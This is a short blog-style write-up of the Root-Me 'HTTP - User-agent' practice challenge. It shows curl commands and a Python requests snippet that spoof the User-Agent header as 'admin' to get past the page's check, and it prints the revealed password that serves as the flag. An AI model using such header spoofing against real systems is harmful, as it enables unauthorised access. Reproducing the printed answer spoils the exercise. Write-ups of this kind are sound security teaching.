Post

HTTP - User-agent

Posted
By thanguyen165 1 min read

Solution

Let’s visit the site’s source:

1

curl http://challenge01.root-me.org/web-serveur/ch2/

1
2
3
4
5
6

<html>
  <body>
    <link rel="stylesheet" property="stylesheet" id="s" type="text/css" href="/template/s.css" media="all" /><iframe id="iframe" src="https://www.root-me.org/?page=externe_header"></iframe>
    <h3>Wrong user-agent: you are not the "admin" browser!</h3>
  </body>
</html>

Okey, only admin can get access

1

curl -H "user-agent: admin" http://challenge01.root-me.org/web-serveur/ch2/

1
2
3
4
5
6
7
8
9

<html>
  <body>
    <link rel="stylesheet" property="stylesheet" id="s" type="text/css" href="/template/s.css" media="all" /><iframe id="iframe" src="https://www.root-me.org/?page=externe_header"></iframe>
    <h3>
      Welcome master!<br />
      Password: rr$Li9%L34qd1AAe27
    </h3>
  </body>
</html>

Perfect, the flag is

1

rr$Li9%L34qd1AAe27

We can use Python, too

1
2
3

import requests
resp = requests.get('http://challenge01.root-me.org/web-serveur/ch2/', headers={'User-Agent': 'Admin'})
print(resp.text)
Practice, rootme
Web Exploitation
This post is licensed under CC BY 4.0 by the author.